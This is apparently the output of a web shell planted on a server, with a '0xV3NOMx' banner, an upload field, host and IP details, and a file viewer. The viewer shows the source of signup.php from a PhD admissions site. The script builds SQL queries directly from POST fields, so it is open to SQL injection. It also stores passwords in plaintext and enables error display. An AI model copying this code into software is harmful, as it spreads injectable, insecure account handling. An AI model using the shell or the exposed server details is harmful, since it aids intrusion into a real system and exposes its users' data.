0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 18.227.183.161


Current Path : /proc/thread-self/root/var/www/html/phdadm/pgetadm/
Upload File :
Current File : //proc/thread-self/root/var/www/html/phdadm/pgetadm/signup.php

<?php

include ("../database.php");

error_reporting(E_ALL);
ini_set('display_errors', 'on');

$mobile = trim($_POST['mobile']);
$email = trim($_POST['email']);
$name = trim($_POST['name']);
$mobileotp = trim($_POST['motp']);
$dob = trim($_POST['dob']);//password
$passwd = trim($_POST['password']);
//and fmobileotp = '3313'
$remove = array(' ', '&', '"', "'");
$passwd = str_replace($remove, '', $passwd);

$query = "SELECT * from collstud 
		where fmobileno = '{$mobile}'
		and fmobileotp = '{$mobileotp}'
		and ROUND(time_to_sec((TIMEDIFF(NOW(), fmobotptime))) / 60) <= 10";

$result = mysqli_query($conn,$query);
$row = mysqli_fetch_assoc($result);

$count = mysqli_num_rows($result);
if($count >0)
{
	$query = "update collstud set fmobilevalid = 'T', factive = 'T', 
				fdob = '{$dob}', fpasswd ='{$passwd}',
				fname = '{$name}', femail = '{$email}'
				where fmobileno = '{$mobile}'";
	$result = mysqli_query($conn,$query);
	if($result == 1)
	{
		$insert = "insert into phdstudadm(fmobileno,FNAME,FEMAIL)
		values ('{$mobile}','{$name}','{$email}')";
		$res = mysqli_query($conn,$insert);

		$arr["status"] = 'success';
		
	}
	else
	{
		$arr["status"] = 'error';
	}
}
else
{
	$arr["status"] = 'invalid';
}
echo json_encode($arr);

?>